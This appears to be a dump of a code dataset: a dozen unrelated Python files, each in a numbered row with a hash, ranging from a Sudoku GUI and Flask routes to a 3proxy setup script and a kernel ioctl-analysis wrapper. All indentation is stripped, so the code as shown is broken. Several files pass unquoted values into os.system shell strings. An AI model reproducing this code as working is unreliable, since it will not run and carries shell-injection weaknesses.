self.btn5 = Button(self.fr9, text = 'play', fg = 'red', font = ('Arial', 13),command=self.play)
self.btn5.pack(side = LEFT)
self.__nomedoarquivo = "Entrada.txt"
def regra(self):
try:
solucao = Sudoku(self.getJogo())
solucao.resolve(0,0)
self.__nomedoarquivo = "SudokuTEMP.txt"
self.abre()
self.__nomedoarquivo = "Entrada.txt"
os.remove("SudokuTEMP.txt")
except:
print("ERRO DE LEITURA")
finally:
self.__nomedoarquivo = "Entrada.txt"
def stop(self):
mixer.music.load("Vaadi Nee Vaadi.mp3")
mixer.music.stop()
def play(self):
mixer.music.load("Vaadi Nee Vaadi.mp3")
mixer.music.play()
def getJogo(self):
jogo = []
for i in range(9):
jogo += [[0,0,0,0,0,0,0,0,0]]
for i in range(9):
for j in range(9):
#self.__jogo[i][j]
jogo[i][j] = jg[i][j].get()
if jogo[i][j] == '':
jogo[i][j] = 0
return jogo
def reset(self):
for i in range(9):
for j in range(9):
jg[i][j].set('')
def salvar(self):
f = open("Sudoku.txt", "a")
try:
for i in range (9):
for j in range (9):
if self.__jogo[i][j].get() == "":
f.write('0')
else:
f.write(self.__jogo[i][j].get())
f.write(' ')
f.write('\n')
f.write('\n\n')
f.close()
except:
print("ERRO AO SALVAR O ARQUIVO")
finally:
f.close()
def corrige(self, event):
for i in range(9):
for j in range(9):
if jg[i][j].get() == '':
continue
if len(jg[i][j].get()) > 1 or jg[i][j].get() not in ['1','2','3','4','5','6','7','8','9']:
jg[i][j].set('')
def completa(self):
for i in range(0,9):
for j in range(0,9):
jg[i][j].set(self.__jogo[i][j])
def abre(self):
try:
f = open(self.__nomedoarquivo, 'r')
texto = f.readline()
texto = texto.split(' ')
for i in range(0,9):
for j in range(0,9):
if texto[0] == '0':
jg[i][j].set('')
else:
jg[i][j].set(texto[0])
texto.pop(0)
texto = f.readline()
texto = texto.split(' ')
f.close()
except:
print ("ERRO FATAL")
finally:
f.close()
play()
solucao = []
raiz = Tk()
txt = StringVar(raiz)
jg = []
for i in range(1,10):
jg += [[0,0,0,0,0,0,0,0,0]]
for i in range(0,9):
for j in range(0,9):
jg[i][j] = StringVar(raiz)
a = Janela(raiz)
raiz.mainloop()
|
990,155 | 13feaf39c4f133d2235b0685752e002883727262 | from flask import Blueprint, request
from app.shared.decorators import return_json, token_required, restaurant_required
from app.user.service import Service as UserService
user_service = UserService()
user_routes = Blueprint('user_routes', __name__)
@user_routes.route('/login', methods=['POST'])
@return_json
def login_user():
auth = request.authorization
if not auth or not auth.username or not auth.password:
return {
'status': 409,
'message': 'Missing Auth'
}
return user_service.login_user(auth['username'], auth['password'])
@user_routes.route('/login', methods=['GET'])
@return_json
@token_required
def login_using_token(user):
return user_service.update_token(user)
@user_routes.route('/create', methods=['POST'])
@return_json
def create_new_user():
data = request.get_json()
auth = request.authorization
if not auth or not auth.username or not auth.password:
return {
'status': 409,
'message': 'Missing Auth'
}
return user_service.create_new_user(auth['username'], auth['password'], data)
@user_routes.route('/current', methods=['GET'])
@return_json
@token_required
def get_current_user(current_user):
return {
'status': 200,
'message': current_user
}
|
990,156 | 82880acc782734eb96a6888e653b4f17f4220f78 | #!/usr/bin/env python3
import subprocess
import ipaddress
import os
import sys
login, passwd, subnet = sys.argv[1:]
head = '''daemon
maxconn 10000
stacksize 5000
nscache 65536
timeouts 1 5 30 60 180 1800 15 60
setgid 65534
setuid 65534
flush
auth strong
users {login}:CL:{passwd}
allow {login}
'''
rc_local_head = '''#!/bin/bash
ulimit -n 600000
ulimit -u 600000
'''
rc_local_tail ='''
sleep 5
/root/3proxy/src/3proxy /root/3proxy/3proxy.cfg
exit 0
'''
proxy_string = 'proxy -n -a -p{port} -i{input} -e{output}\n'
rc_local = '/sbin/ip addr add {ip} dev eth0 \n'
def subnet_single(subnet, start):
config = open('/root/3proxy/3proxy.cfg', 'w')
subnet = ipaddress.ip_network(subnet)
config.write(head.format(login=login, passwd=passwd))
for e, addr in enumerate(subnet):
config.write(proxy_string.format(port=int(start)+e, input=addr, output=addr))
ip_add(addr)
config.close()
add_autoload(subnet=subnet)
def ip_add(ip):
intf_ip = subprocess.getoutput('/sbin/ip addr add {} dev eth0'.format(ip))
print(intf_ip)
def add_autoload(subnet='', address=''):
os.rename('/etc/rc.local', '/etc/rc.local.backup')
open('/etc/rc.local', 'w').close()
rc_local = open('/etc/rc.local', 'a')
rc_local.write(rc_local_head)
if subnet != '':
for addr in subnet:
rc_local.write('/sbin/ip addr add {ip} dev eth0 \n'.format(ip=addr))
elif address != '':
rc_local.write('/sbin/ip addr add {ip} dev eth0 \n'.format(ip=address))
rc_local.write(rc_local_tail)
rc_local.close()
subprocess.call('chmod +x /etc/rc.local', shell=True)
subnet_single(subnet, 30000)
|
990,157 | 66ced51f63675f806c5170cb008836ad847cac22 | import argparse
import os
import re
import numpy as np
import pandas as pd
DOMAIN_REG_EP = r'_(.*?_\d+)_'
max_idx = 169
min_idx = 120
index_reg_exp = 'CC(.*?)_'
def is_train(file_name):
index = re.findall(index_reg_exp, file_name)[0]
index = int(index)
if min_idx <= index <= max_idx:
return True
return False
def inTestSet(name):
# Here I specify the test domain
N = int(name[2:6])
Ph15_t = np.arange(50, 60)
Ph3_t = np.arange(110, 120)
S15_t = np.arange(170, 180)
S3_t = np.arange(230, 240)
GE15_t = np.arange(290, 300)
GE3_t = np.arange(350, 360)
test_scans = np.concatenate((Ph15_t, Ph3_t, S15_t, S3_t, GE15_t, GE3_t))
if N in test_scans:
return True
else:
return False
def create_labels(img_path, out):
files_all = os.listdir(img_path)
files_train = []
domains = []
for file in files_all:
#if not inTestSet(file):
if True:
files_train.append(file)
domains.append(
re.findall(DOMAIN_REG_EP, file)[0]
)
labels_df = pd.DataFrame(
{
'Filename': files_train,
'Domain': domains
}
)
labels_df = pd.DataFrame.sort_values(labels_df, by='Filename')
labels_df['Labeled'] = labels_df['Filename'].apply(is_train)
out_path = os.path.join(out, 'all.csv')
labels_df.to_csv(out_path, index=None)
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='Script creates domain labels csv file for MRI dataset')
parser.add_argument('--path', type=str, help='Path to folder with images')
parser.add_argument('--out', type=str, help='Path for result csv file')
args = parser.parse_args()
path = args.path
out = args.out
create_labels(path, out)
|
990,158 | 4a71fe822c58a4835f11078ade14a88315df144b | import numpy as np
filename = 'colliders.csv'
# TODO: read lat0, lon0 from colliders into floating point values
# Read first line into var
# with open(filename) as f:
# x,y = f.readline().rstrip().split(',')
with open(filename) as f:
x,y = f.readline().split(',')
_,x= x.split(' ')
_,y = y.lstrip().split(' ')
x = float(x)
print(x)
# x,y = np.fromstring(line, dtype='Float64', count=2, sep=',')
print(y)
print(type(x))
# lat0, lon0 = np.loadtxt(first, delimiter=',', dtype='Float64')
|
990,159 | 7f33b91d390b19eea73c9b893020240aa3df8fbf | """Client script to open client server."""
import socket
import sys
def client(msg):
"""Open client server to send a message."""
# address changed to 10000 for server2.py
infos = socket.getaddrinfo('127.0.0.1', 10000)
stream_info = [idx for idx in infos if idx[1] == socket.SOCK_STREAM][0]
client_msg = socket.socket(*stream_info[:3])
client_msg.connect(stream_info[-1])
client_msg.sendall(msg.encode('utf8'))
buffer_length = 80
msg_complete = False
msg = u''
while not msg_complete:
part = client_msg.recv(buffer_length)
msg += part.decode('utf8')
if len(part) < buffer_length:
msg_complete = True
client_msg.close()
return msg
print(msg)
if __name__ == '__main__':
msg = sys.argv[1]
print(client(msg))
|
990,160 | f758cd3eef11b63e91a66ba80a544251c9da3cd9 | # All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import sys
import ujson
def read_json(stream) -> dict:
line = bytes()
ret = False
while True:
c = stream.read(1)
if c is None:
continue
if len(c) == 0:
try:
return ujson.loads(line)
except (BaseException, Exception):
sys.exit(0)
if c.decode() == "}":
line += c
ret = True
elif c.decode() == "\n" and ret:
line += c
return ujson.loads(line)
else:
ret = False
line += c
|
990,161 | c7a8be16cd2eb5f51c6dce32108c37147ac34a83 | from surface import *
from compareMatrices import *
from radialBinning import smooth
from matplotlib import rc
from scipy import ndimage
import matplotlib as mpl
import pickle
class ForceDistribution:
def __init__(self, N, surfN, nearestNeighbor, binWidth, cx, cy, timeStep=False, verbose=False):
self.N = N
self.surfN = surfN
self.nn = nearestNeighbor
self.bw = binWidth
self.cx=cx
self.cy=cy
self.mapping = float(N)/surfN
self.timeStep = timeStep # Only analyse single frame
self.surf = self.loadSurface('../dataFiles/m4/surface.pkl', N=self.surfN, s=self.nn, verbose=verbose)
self.force = self.loadForces('../dataFiles/m4/forces.pkl', verbose=verbose)
#self.radialBinning = smooth(N, cx, cy, binWidth, nBins=int(16/binWidth))
#self.surf.plotPlanes()
def loadSurface(self, filePath=False, N=46, s=5, verbose=False):
if filePath:
if self.timeStep != 0:
filePath = filePath.rstrip('.pkl') + '_t%d_N%ds%d.pkl'%(self.timeStep,N,s)
else:
filePath = filePath.rstrip('.pkl') + '_N%ds%d.pkl'%(N,s)
try:
with open(filePath, 'rb') as input:
pkl = pickle.load(input)
if verbose:
print "Loaded surface file", filePath
return pkl
except:
if verbose:
print "Couldn't load surface file."
if self.timeStep:
s = SurfaceRegression('../surfaceFiles/m4/Surface%d/'%self.timeStep, N, False, s)
else:
s = SurfaceRegression('../surfaceFiles/m4/', N, False, s)
if filePath:
with open(filePath, 'wb') as output:
pickle.dump(s, output, pickle.HIGHEST_PROTOCOL)
return s
def loadForces(self, filePath=False, verbose=False):
if filePath:
if self.timeStep:
filePath = filePath.rstrip('.pkl') + '_t%d.pkl'%self.timeStep
try:
with open(filePath, 'rb') as input:
pkl = pickle.load(input)
if verbose:
print "Loaded force file ", filePath
return pkl
except:
if verbose:
print "Couldn't load force file."
if self.timeStep:
F = Forces('../forceFiles/m4/forces%d.txt'%self.timeStep, self.cx, self.cy)
else:
F = Forces('../forceFiles/m4/forcesAll.txt', self.cx, self.cy)
F.plotAverage = True
F.name = 'Averaged normal force'
if filePath:
with open(filePath, 'wb') as output:
pickle.dump(F, output, pickle.HIGHEST_PROTOCOL)
return F
def transform(self, matrix, N, M, R):
r = np.linspace(0,R,N)
theta = np.linspace(0, 2*np.pi, M)
myevalmatrix = np.zeros((N, M, 2))
for i in range(N):
for j in range(M):
myevalmatrix[i, j,:] = np.asarray([self.cx+r[i]*np.cos(theta[j]), self.cy+r[i]*np.sin(theta[j])])
return ndimage.map_coordinates(matrix, np.transpose(myevalmatrix[:, :]), order=1)
#------------------------------------------------------------------------------#
def computeDistributions(self):
'''The if-test ensures a positive component for the normal force, which
is incorrect! This must be figured out. Also, the definition of shear
force must be applied.'''
self.normal = np.zeros(np.shape(self.force.absoluteForces))
self.shear = np.zeros(np.shape(self.force.absoluteForces))
Fs = np.zeros((self.N, self.N, 3))
for i in xrange(self.N):
for j in xrange(self.N):
mi = int(i/self.mapping)
mj = int(j/self.mapping)
self.surf.grid[mi,mj] /= np.linalg.norm(self.surf.grid[mi,mj])
if not np.isnan( np.cos( self.surf.getAngle( self.force.matrix[i][j], self.surf.grid[mi, mj] ) ) ):
a = np.dot( self.force.matrix[i,j], self.surf.grid[mi, mj] )
b = np.dot( self.force.matrix[i,j], -self.surf.grid[mi, mj] )
if a > b:
self.normal[i,j] = b # a
#self.shear[i,j] = np.sqrt(self.force.absoluteForces[i,j]**2-b**2)
#Fs[i,j] = self.force.matrix[i,j] + self.surf.grid[ int(i/self.mapping), int(j/self.mapping) ] * b
else:
self.normal[i,j] = b #b
#self.shear[i,j] = np.sqrt(self.force.absoluteForces[i,j]**2-b**2) #a
Fn = self.surf.grid[mi, mj]*self.normal[i,j]
Fs[i,j] = self.force.matrix[i,j] + Fn # The reason for the addition is that Fn points downwards, rather than upwards. Too late to change now.
self.shear [i,j] = np.sqrt(sum(Fs[i,j]**2))
x = i-self.cx
y = j-self.cy
self.shear[i,j] *= np.dot( self.surf.Norm(np.asarray([x,y])), self.surf.Norm(Fs[i,j,:2]) )
##angle = self.surf.getAngle( self.shear[i,j], self.surf.grid[ int(i/self.mapping), int(j/self.mapping) ] )
## Dot product of shear vector with unit vector from center to current point (i,j).
def plotDistributions(self, onlyBottom):
majorFontSize = 30
minorFontSize = 26
ticksfontSize = 26
rc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})
rc('text', usetex=True)
plt.rc('text', usetex=True)
plt.rc('font', family='serif')
if onlyBottom:
fig, ax = plt.subplots(1,3, figsize=(15,5.4), sharey='row')
cmax = max(self.force.absoluteForces.max(), self.normal.max(), self.shear.max())
N = 46
M = 46
R = 20
myMap = sns.cubehelix_palette(80, start=.5, rot=-.75)
cm = mpl.colors.ListedColormap(myMap)
c=0
for f in [self.force.absoluteForces, self.normal, self.shear]:
output = self.transform(f,N,M,R)
radialDist = np.mean(output,0)
ax[c].plot(radialDist, linewidth=3, color="#478684")
ax[c].set_xlabel(r'{\fontsize{36pt}{3em}\selectfont{}{$r$}' + r'{\fontsize{26pt}{3em}\selectfont{} $[7.12\mathring{A}]$}', labelpad=20)
ax[c].set_xticks(np.linspace(0,N,6))
ax[c].set_xticklabels(['' for i in range(6)])
ax[c].set_xticklabels(['$%.0f$'%i for i in np.linspace(0,R,6)], fontsize=ticksfontSize)
ax[c].grid('on')
ax[c].set_ylim([-0.01,0.05])
c+=1
ax[0].set_ylabel(r"$eV/\mathring{A}$", fontsize=majorFontSize)
yax = [r'$%.02f$'%i for i in np.arange(-0.01, 0.06, 0.01)]
xax = [r'$%d$'%i for i in range(0,21,4)]
ax[0].set_yticklabels(yax, fontsize=ticksfontSize)
plt.gcf().subplots_adjust(bottom=0.23)
#plt.tight_layout()
if self.timeStep:
#fig.suptitle(r"$ $Time step %d"%self.timeStep, fontsize=16)
plt.savefig('timeSteps/radialOnly/timestep%06d_bottom.pdf'%self.timeStep)
else:
fig, ax = plt.subplots(2,3, figsize=(15,10), sharey='row', sharex='col')
cmax = max(self.force.absoluteForces.max(), self.normal.max(), self.shear.max())
N = 46
M = 46
R = 20
myMap = sns.cubehelix_palette(80, start=.5, rot=-.75)
cm = mpl.colors.ListedColormap(myMap)
c=0
for f in [self.force.absoluteForces, self.normal, self.shear]:
output = self.transform(f,N,M,R)
im=ax[0,c].pcolor(output, vmin=-0.01, vmax=0.07, cmap=cm)
radialDist = np.mean(output,0)
ax[1,c].plot(radialDist, linewidth=3, color="#478684")
ax[0,c].set_xlim([0,46])
ax[1,c].set_xlabel(r"$r$", fontsize=majorFontSize+2)
ax[1,c].set_xticks(np.linspace(0,N,6))
ax[1,c].set_xticklabels(['$%.0f$'%i for i in np.linspace(0,R,6)], fontsize=ticksfontSize)
#ax[0,c].set_ylim([0,ymax*1.05])
ax[1,c].grid('on')
ax[1,c].set_ylim([-0.01,0.05])
c+=1
fig.subplots_adjust(right=0.85)
cbar_ax = fig.add_axes([0.89, 0.535, 0.02, 0.3648])
cbar = fig.colorbar(im, cax=cbar_ax, format='$%.02f$')#, format=ticker.FuncFormatter(self.force.fmt))
cbar.ax.tick_params(labelsize=ticksfontSize)
cbar.set_label(r'$eV/\mathring{A}$',size=majorFontSize, labelpad=10)
rc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})
rc('text', usetex=True)
plt.rc('text', usetex=True)
plt.rc('font', family='serif')
ax[0,0].set_ylim([0,46])
ax[0,0].set_ylabel(r"$\theta$", fontsize=majorFontSize+2)
ax[1,0].set_ylabel(r"$eV/\mathring{A}$", fontsize=majorFontSize)
ax[0,0].set_title(r"$ $Magnitude", fontsize=ticksfontSize)
ax[0,1].set_title(r"$ $Normal", fontsize=ticksfontSize)
ax[0,2].set_title(r"$ $Shear", fontsize=ticksfontSize)
yax = [r'$%.02f$'%i for i in np.arange(-0.01, 0.06, 0.01)]
xax = [r'$%d$'%i for i in range(0,21,4)]
ax[0,0].set_yticks(np.linspace(0,M,5))
ax[0,0].set_yticklabels([r'$0$', r'$\pi/2$', r'$\pi$', r'$3\pi/2$', r'$2\pi$'], fontsize=ticksfontSize)
ax[1,0].set_yticklabels(yax, fontsize=ticksfontSize)
if self.timeStep:
#fig.suptitle(r"$ $Time step %d"%self.timeStep, fontsize=16)
plt.savefig('timeSteps/timestep%06d.pdf'%self.timeStep)
#------------------------------------------------------------------------------#
if __name__ == '__main__':
import seaborn as sns
import sys
for bw in np.linspace(1,1,1):
N = 46
surfN = 46
#bw = 1.2
cx=22.5
cy=22.5
nn=8
a = 55000; b = 125000; c=5000
for i in xrange(a, b, c):
print '\r %.0f%% complete'%((i-a)*100.0/(b-a)),
sys.stdout.flush()
dist = ForceDistribution(N, surfN, nn, bw, cx, cy, timeStep=i, verbose=False)
dist.computeDistributions()
dist.plotDistributions(onlyBottom=True)
plt.show()
|
990,162 | 2da458dd9d7db04644ecd14fe1f4e98546721d00 | import click
import os
from srtml_exp.utils import IMAGE_CLASSIFICATION_DIR_TWO_VERTEX
@click.command()
@click.option("--type", type=str, default="two_vertex")
@click.option("--exp-type", type=str, default="accuracy_degradation")
@click.option("--xls-file", type=str, default=None)
@click.option("--config-file", type=str, default=None)
@click.option("--start-cmd", type=str, default=None)
@click.option("--end-cmd", type=str, default=None)
def prepoc_profile(type, exp_type, xls_file, config_file, start_cmd, end_cmd):
if type == "two_vertex" and exp_type == "accuracy_degradation":
python_file_dir = os.path.join(
IMAGE_CLASSIFICATION_DIR_TWO_VERTEX,
"accuracy_degradation",
"physical",
)
if config_file is None:
config_file = os.path.join(
IMAGE_CLASSIFICATION_DIR_TWO_VERTEX,
"accuracy_degradation",
"physical",
"default.json",
)
if xls_file is None:
save_xls = "image_classification.xlsx"
xls_file = os.path.join(python_file_dir, save_xls)
os.system(
f"python {os.path.join(python_file_dir, 'model_info_generator.py')}"
f" --config-json {config_file} --save-path {xls_file}"
)
if start_cmd is not None and end_cmd is not None:
os.system(
f"python {os.path.join(python_file_dir, 'profiles_models.py')}"
f" --xls-file {xls_file} --start-cmd {start_cmd}"
f" --end-cmd {end_cmd}"
)
if start_cmd is None and end_cmd is None:
os.system(
f"python {os.path.join(python_file_dir, 'profiles_models.py')}"
f" --xls-file {xls_file}"
)
else:
raise ValueError("Wrong start and end commands specified")
@click.command()
@click.option("--type", type=str, default="two_vertex")
@click.option("--exp-type", type=str, default="accuracy_degradation")
@click.option("--xls-file", type=str, default=None)
@click.option("--start-cmd", type=str, default=None)
@click.option("--end-cmd", type=str, default=None)
@click.option("--cleanmr", type=bool, default=True)
def prepoc_populate(type, exp_type, xls_file, start_cmd, end_cmd, cleanmr):
if type == "two_vertex" and exp_type == "accuracy_degradation":
python_file_dir = os.path.join(
IMAGE_CLASSIFICATION_DIR_TWO_VERTEX,
"accuracy_degradation",
"physical",
)
if xls_file is None:
save_xls = "image_classification.xlsx"
xls_file = os.path.join(python_file_dir, save_xls)
if start_cmd is not None and end_cmd is not None:
os.system(
f"python {os.path.join(python_file_dir, 'populate_s3.py')}"
f" --xls-file {xls_file} --start-cmd {start_cmd}"
f" --end-cmd {end_cmd}"
)
if start_cmd is None and end_cmd is None:
os.system(
f"python {os.path.join(python_file_dir, 'populate_s3.py')}"
f" --xls-file {xls_file} --cleanmr {cleanmr}"
)
else:
raise ValueError("Wrong start and end commands specified")
@click.command()
@click.option("--type", type=str, default="two_vertex")
@click.option("--exp-type", type=str, default="accuracy_degradation")
@click.option("--xls-file", type=str, default=None)
@click.option("--config-file", type=str, default=None)
@click.option("--start-cmd", type=str, default=None)
@click.option("--end-cmd", type=str, default=None)
def prepoc_configure(type, exp_type, xls_file, config_file, start_cmd, end_cmd):
if type == "two_vertex" and exp_type == "accuracy_degradation":
python_file_dir = os.path.join(
IMAGE_CLASSIFICATION_DIR_TWO_VERTEX,
"accuracy_degradation",
"virtual",
)
if config_file is None:
config_file = os.path.join(
IMAGE_CLASSIFICATION_DIR_TWO_VERTEX,
"accuracy_degradation",
"virtual",
"default.json",
)
if xls_file is None:
save_xls = "virtual_image_classification.xlsx"
xls_file = os.path.join(python_file_dir, save_xls)
os.system(
f"python "
f"{os.path.join(python_file_dir,'virtual_info_generator.py')}"
f" --config-json {config_file} --save-path {xls_file}"
)
if start_cmd is not None and end_cmd is not None:
os.system(
f"python "
f"{os.path.join(python_file_dir,'virtual_prepoc_configure.py')}"
f" --xls-file {xls_file} --start-cmd {start_cmd}"
f" --end-cmd {end_cmd}"
)
if start_cmd is None and end_cmd is None:
os.system(
f"python "
f"{os.path.join(python_file_dir,'virtual_prepoc_configure.py')}"
f" --xls-file {xls_file}"
)
else:
raise ValueError("Wrong start and end commands specified")
@click.command()
@click.option("--type", type=str, default="two_vertex")
@click.option("--exp-type", type=str, default="accuracy_degradation")
@click.option("--xls-file", type=str, default=None)
@click.option("--start-cmd", type=str, default=None)
@click.option("--end-cmd", type=str, default=None)
def prepoc_provision(type, exp_type, xls_file, start_cmd, end_cmd):
if type == "two_vertex" and exp_type == "accuracy_degradation":
python_file_dir = os.path.join(
IMAGE_CLASSIFICATION_DIR_TWO_VERTEX,
"accuracy_degradation",
"virtual",
)
if xls_file is None:
save_xls = "virtual_image_classification.xlsx"
xls_file = os.path.join(python_file_dir, save_xls)
if start_cmd is not None and end_cmd is not None:
os.system(
f"python {os.path.join(python_file_dir, 'virtual_prepoc.py')}"
f" --xls-file {xls_file} --start-cmd {start_cmd}"
f" --end-cmd {end_cmd}"
)
if start_cmd is None and end_cmd is None:
os.system(
f"python {os.path.join(python_file_dir, 'virtual_prepoc.py')}"
f" --xls-file {xls_file}"
)
else:
raise ValueError("Wrong start and end commands specified")
|
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|
990,164 | 76dea293073a945d1d2c0c3d3291c346869acb0c | #!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals
AUTHOR = 'Multiple'
SITENAME = 'Nairobi GNU/Linux Users Group'
SITEURL = 'http://nairobilug.or.ke'
TIMEZONE = 'Africa/Nairobi'
DEFAULT_LANG = 'en'
# Feed generation is usually not desired when developing
FEED_ALL_ATOM = None
CATEGORY_FEED_ATOM = None
TRANSLATION_FEED_ATOM = None
# Blogroll
LINKS = (
('David Karibe', 'http://karibe.co.ke/'),
('Mjanja Tech', 'http://mjanja.co.ke/'),
('Moshe Njema', 'http://nj3ma.wordpress.com/'),
)
# Social widget
SOCIAL = (
('Nairobi GNU/Linux mailing list', 'https://groups.google.com/forum/#!forum/nairobi-gnu'),
)
DEFAULT_PAGINATION = 10
# Uncomment following line if you want document-relative URLs when developing
RELATIVE_URLS = True
ARTICLE_URL = '{date:%Y}/{date:%m}/{slug}.html'
ARTICLE_LANG_URL = '{date:%Y}/{date:%m}/{slug}-{lang}.html'
PAGE_URL = '{date:%Y}/{date:%m}/pages/{slug}.html'
PAGE_LANG_URL = '{date:%Y}/{date:%m}/pages/{slug}-{lang}.html'
ARTICLE_SAVE_AS = '{date:%Y}/{date:%m}/{slug}.html'
ARTICLE_LANG_SAVE_AS = '{date:%Y}/{date:%m}/{slug}-{lang}.html'
PAGE_SAVE_AS = '{date:%Y}/{date:%m}/pages/{slug}.html'
PAGE_LANG_SAVE_AS = '{date:%Y}/{date:%m}/pages/{slug}-{lang}.html'
# Copy CNAME to output root
FILES_TO_COPY = (
('extra/CNAME', 'CNAME'),
)
GITHUB_URL = 'http://github.com/nairobilug/'
|
990,165 | a840e5aecf401614bdc60a6908220d5ae320f307 | # python3
from gooey import *
import synbiopython
import synbiopython.genbabel as stdgen
# imput parameters
@Gooey(required_cols=2, program_name='genbank to sbol', header_bg_color= '#DCDCDC', terminal_font_color= '#DCDCDC', terminal_panel_color= '#DCDCDC')
def main():
ap = GooeyParser()
ap.add_argument("-gb", "--genbank", required=True, widget='FileChooser', help="input genbank file")
ap.add_argument("-sbol", "--sbol", required=True, widget='FileSaver', help="outpul sbol file")
args = vars(ap.parse_args())
# main
stdconv = stdgen.GenSBOLconv()
uri_Prefix_igb = 'http://synbiohub.org/public/igem'
stdconv.run_sbolvalidator(args['genbank'],'SBOL2', uri_Prefix_igb, outputfile = args['sbol'])
if __name__ == '__main__':
main()
|
990,166 | 5e570590e1e9f2583ec0041e4d3023e038b72e87 | from base_component import *
import os
import argparse
from multiprocessing import Pool, cpu_count
import tempfile
class IoctlCmdFinder(Component):
"""
Component which tries to find all ioctl commands and their corresponding structure.
"""
def __init__(self, value_dict):
ioctl_finder_so = None
entry_point_out = None
ioctl_finder_out = None
opt_bin_path = None
llvm_bc_out = ""
kernel_src_dir = ""
if 'ioctl_finder_so' in value_dict:
ioctl_finder_so = value_dict['ioctl_finder_so']
if 'entry_point_out' in value_dict:
entry_point_out = value_dict['entry_point_out']
if 'ioctl_finder_out' in value_dict:
ioctl_finder_out = value_dict['ioctl_finder_out']
if 'opt_bin_path' in value_dict:
opt_bin_path = value_dict['opt_bin_path']
if 'llvm_bc_out' in value_dict:
llvm_bc_out = value_dict["llvm_bc_out"]
if 'kernel_src_dir' in value_dict:
kernel_src_dir = value_dict["kernel_src_dir"]
self.opt_bin_path = opt_bin_path
self.ioctl_finder_so = ioctl_finder_so
self.entry_point_out = entry_point_out
self.ioctl_finder_out = ioctl_finder_out
self.llvm_bc_out = llvm_bc_out
self.kernel_src_dir = kernel_src_dir
def setup(self):
if not os.path.exists(self.ioctl_finder_so):
return "Provided ioctl finder so path:" + str(self.ioctl_finder_so) + " does not exist."
if not os.path.exists(self.opt_bin_path):
return "Provided opt bin path:" + str(self.opt_bin_path) + " does not exist."
if not os.path.exists(self.entry_point_out):
return "Provided entry point out file path:" + str(self.entry_point_out) + " is invalid."
if self.ioctl_finder_out is None:
return "Provided ioctl cmd finder out file path:" + str(self.ioctl_finder_out) + " is invalid."
# set up the directory if this is not present.
if not os.path.isdir(self.ioctl_finder_out):
os.system('mkdir -p ' + self.ioctl_finder_out)
return None
def perform(self):
log_info("Invoking Ioctl cmd finder")
return _run_ioctl_cmd_finder(self.entry_point_out, self.opt_bin_path, self.ioctl_finder_so,
self.ioctl_finder_out, self.llvm_bc_out, self.kernel_src_dir)
def get_name(self):
return "IoctlCmdFinder"
def is_critical(self):
# Yes, this component is critical.
return True
def setup_args():
parser = argparse.ArgumentParser()
parser.add_argument('-e', action='store', dest='entry_point_out',
help='Path to the entry point output file.')
parser.add_argument('-p', action='store', dest='opt_bin_path',
help='Path to the opt executable.')
parser.add_argument('-s', action='store', dest='ioctl_finder_so',
help='Path to the IoctlFinder shared object (so).')
parser.add_argument('-f', action='store', dest='ioctl_finder_out',
help='Path to the output folder where the ioctl command finder output should be stored.')
return parser
def main():
arg_parser = setup_args()
parsed_args = arg_parser.parse_args()
arg_dict = dict()
arg_dict['opt_bin_path'] = parsed_args.opt_bin_path
arg_dict['ioctl_finder_so'] = parsed_args.ioctl_finder_so
arg_dict['ioctl_finder_out'] = parsed_args.ioctl_finder_out
arg_dict['entry_point_out'] = parsed_args.entry_point_out
ioctl_comp_out = IoctlCmdFinder(arg_dict)
setup_msg = ioctl_comp_out.setup()
if setup_msg is not None:
log_error("Component:", ioctl_comp_out.get_name(), " setup failed with msg:", setup_msg)
else:
perf_out = ioctl_comp_out
def _run_ioctl_cmd_parser(combined_arg):
opt_bin_path = combined_arg[0]
so_path = combined_arg[1]
func_name = combined_arg[2]
if func_name == "CAMERA_HW_Ioctl":
log_warning("Ioctl cmd finder skipped for:" + func_name)
return 0, func_name
llvm_bc_file = combined_arg[3]
output_file = combined_arg[4]
llvm_bc_out = combined_arg[5]
kernel_src_dir = combined_arg[6]
temp_bc_file = tempfile.NamedTemporaryFile(delete=False)
bc_file_name = temp_bc_file.name
temp_bc_file.close()
# run mem2reg
ret_val = os.system(opt_bin_path + " -mem2reg " + llvm_bc_file + " -o " + bc_file_name)
if ret_val != 0:
log_error("LLVM mem2reg failed on:", llvm_bc_file, " for function:", func_name,
", So the output you get may be wrong.")
# Old ioctl cmd parser
'''ret_val = os.system(opt_bin_path + " -analyze -debug -load " + so_path + ' -ioctl-cmd-parser -toCheckFunction=\"' +
str(func_name) + '\" ' + bc_file_name + ' > ' + output_file + ' 2>&1')'''
ret_val = os.system(opt_bin_path + " -analyze -debug -load " + so_path + ' -new-ioctl-cmd-parser -ioctlFunction=\"' +
str(func_name) + '\" -bcOutDir=\"' + llvm_bc_out + '\" -srcBaseDir=\"' + kernel_src_dir + '\" ' +
bc_file_name + ' >> ' + output_file + ' 2>&1')
return ret_val, func_name
def _get_file_to_write(func_name, output_folder):
output_file = os.path.join(output_folder, func_name + '.txt')
func_num = 1
while os.path.exists(output_file):
output_file = os.path.join(output_folder, func_name + '_' + str(func_num) + '.txt')
func_num += 1
return output_file
def _run_ioctl_cmd_finder(entry_point_out, opt_bin_path, ioctl_so_path, ioctl_finder_out, llvm_bc_out, kernel_src_dir):
to_run_cmds = []
fp = open(entry_point_out, 'r')
all_lines = fp.readlines()
fp.close()
processed_func = []
for curr_ep in all_lines:
curr_ep = curr_ep.strip()
all_p = curr_ep.split(':')
if all_p[0] == 'IOCTL' and (all_p[1] + all_p[2]) not in processed_func:
processed_func.append(all_p[1] + all_p[2])
to_run_cmds.append((opt_bin_path, ioctl_so_path, all_p[1], all_p[-1],
os.path.join(ioctl_finder_out, all_p[3]), llvm_bc_out, kernel_src_dir))
log_info("Found:", len(to_run_cmds), " ioctl functions to process.")
log_info("Processing in multiprocessing mode")
p = Pool(cpu_count())
return_vals = p.map(_run_ioctl_cmd_parser, to_run_cmds)
log_info("Finished processing:", len(to_run_cmds), " ioctl functions.")
total_failed = 0
for curr_r_val in return_vals:
if int(curr_r_val[0]) != 0:
